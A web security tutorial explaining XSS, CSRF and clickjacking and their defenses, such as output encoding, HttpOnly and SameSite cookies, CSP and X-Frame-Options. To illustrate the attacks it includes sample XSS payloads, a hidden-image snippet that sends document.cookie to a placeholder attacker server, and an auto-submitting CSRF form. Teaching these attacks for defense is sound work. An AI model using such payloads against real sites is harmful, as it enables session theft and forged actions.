Information Security 14 min read

Understanding XSS, CSRF, and Clickjacking: Attack Mechanisms and Defense Measures

This article explains the principles, attack vectors, and mitigation techniques for three common web security threats—Cross‑Site Scripting (XSS), Cross‑Site Request Forgery (CSRF), and Clickjacking—detailing how malicious scripts are injected, how forged requests exploit user credentials, and how defensive headers, token strategies, and frame restrictions can protect applications.

YunZhu Net Technology Team
YunZhu Net Technology Team
YunZhu Net Technology Team
Understanding XSS, CSRF, and Clickjacking: Attack Mechanisms and Defense Measures

1 XSS Cross‑Site Scripting

1.1 What is XSS

Cross‑Site Scripting (XSS) is abbreviated as XSS, not to be confused with CSS (Cascading Style Sheets).

Attack Principle

When a page dynamically inserts a string containing HTML tags, the browser renders those tags; if the tags contain executable code, such as:

<script>alert(1);</script>
<img src="xxx" onerror="alert(1)"/>
<!-- video/iframe etc. -->

The attacker can then execute arbitrary scripts to steal credentials (cookies, tokens, passwords, etc.) and send them to a server, for example:

/**
 * `ajax` requests may encounter cross‑origin issues
 */
/** Use tags not affected by the same‑origin policy, such as `img` */
var img = document.createElement('img');
/** The data may be something other than a cookie */
/** @example `localStorage.getItem('xxx')` */
img.src = '{attacker_server}?data=' + document.cookie;
img.style.display = 'none';
document.body.appendChild(img);

The attacker’s server receives the request, parses the data parameter, obtains the user’s credentials, and can perform unauthorized actions such as liking, following, or transferring money.

Based on the malicious code’s execution method, XSS can be divided into two categories: persistent (stored) and non‑persistent (reflected).

1.2 Persistent (Stored) XSS

The malicious script is stored on the server or in a database. For example, an attacker embeds malicious code in a user profile field; when other users view the profile, the script runs and steals their credentials.

1.3 Non‑Persistent (Reflected) XSS

The malicious code is not stored; it is reflected in the URL parameters. Example of a vulnerable search page:

<div>Search results for <span class="keyword">{keyword}</span>:</div>
<script>
/** pseudo‑code: get `keyword` from URL */
var keyword = getUrlParams().keyword;
document.querySelector('.keyword').innerHTML = keyword;
</script>

An attacker can craft a URL like http://example.com/search?keyword=<script>maliciousCode</script> and trick users into clicking it; the script executes in the victim’s browser.

1.4 Defense Measures

(1) Encoding and innerText

Encode untrusted data or use innerText instead of innerHTML . For rich text, filter out script , onerror , onclick , etc., using a third‑party library.

(2) HttpOnly

Set the HttpOnly attribute on cookies so they cannot be accessed via JavaScript.

Set-Cookie: auth=xxx; HttpOnly

(3) X‑XSS‑Protection

Configure the response header X‑XSS‑Protection (note: deprecated in modern browsers):

X‑XSS‑Protection: 0 – disable XSS filtering

X‑XSS‑Protection: 1 – enable filtering, clear unsafe parts

X‑XSS‑Protection: 1; mode=block – block the page when an attack is detected

X‑XSS‑Protection: 1; report=<uri> – report violations via CSP report‑uri

(4) Content‑Security‑Policy (CSP)

CSP adds a security layer to mitigate XSS and data‑injection attacks. It can be set via a response header or a <meta> tag.

<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
Content-Security-Policy: default-src 'self'

Directives such as child-src , connect-src , default-src , font-src , frame-src , img-src , manifest-src , media-src define allowed sources for various resource types.

2 CSRF Cross‑Site Request Forgery

2.1 What is CSRF

CSRF (also called one‑click attack or session riding) tricks a logged‑in user’s browser into sending authenticated requests to a target site.

Attack Principle

When a user is logged into site A, an attacker on site B can embed requests (e.g., an <img> tag for a GET request or a hidden <form> for a POST) that automatically include the user’s cookies, causing unintended actions on site A.

<img src="http://host/thumb?id=xxx" />
<form action="http://host/thumb" method="post" id="csrf">
  <input type="hidden" name="id" value="xxx">
</form>
<script>document.querySelector('#csrf').submit();</script>

Defense Measures

(1) Restrict Request Types

Accept only AJAX requests, which are protected by the same‑origin policy.

(2) Referer Check

Validate the Referer header to ensure the request originates from the same site (though it can be spoofed).

(3) Token

Require a server‑generated token (e.g., CSRF token) to be submitted with state‑changing requests.

(4) SameSite Cookie

Set the SameSite attribute on authentication cookies:

Set-Cookie: auth=xxxxx; SameSite=Strict

Values: Lax (default in modern browsers), Strict , None (allows cross‑site).

(5) Additional Measures

Use secondary verification (CAPTCHA, SMS code, password) for sensitive operations.

3 Clickjacking

3.1 What is Clickjacking

Clickjacking (UI‑overlay attack) tricks users into clicking invisible iframes that perform unwanted actions.

Defense Measures

(1) Detect iframe

if (window !== window.top) {
  alert('This page cannot be opened in an iframe');
  location.href = 'xxx';
}

(2) X‑Frame‑Options

Set the X‑Frame‑Options header to control framing:

deny – never allow framing

sameorigin – allow only same‑origin framing

allow‑from uri – allow framing from a specific origin

(3) Additional Measures

Require secondary verification (CAPTCHA, SMS code, password) for critical actions.

Author: Liao Qingsong (拾肆) | Reviewer: Wu Youqiang (技巅) | Editor: Zhou Xulong (爱迪生)

ClickjackingCSRFXSSWeb SecurityContent Security PolicySameSite
YunZhu Net Technology Team
Written by

YunZhu Net Technology Team

Technical practice sharing from the YunZhu Net Technology Team

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.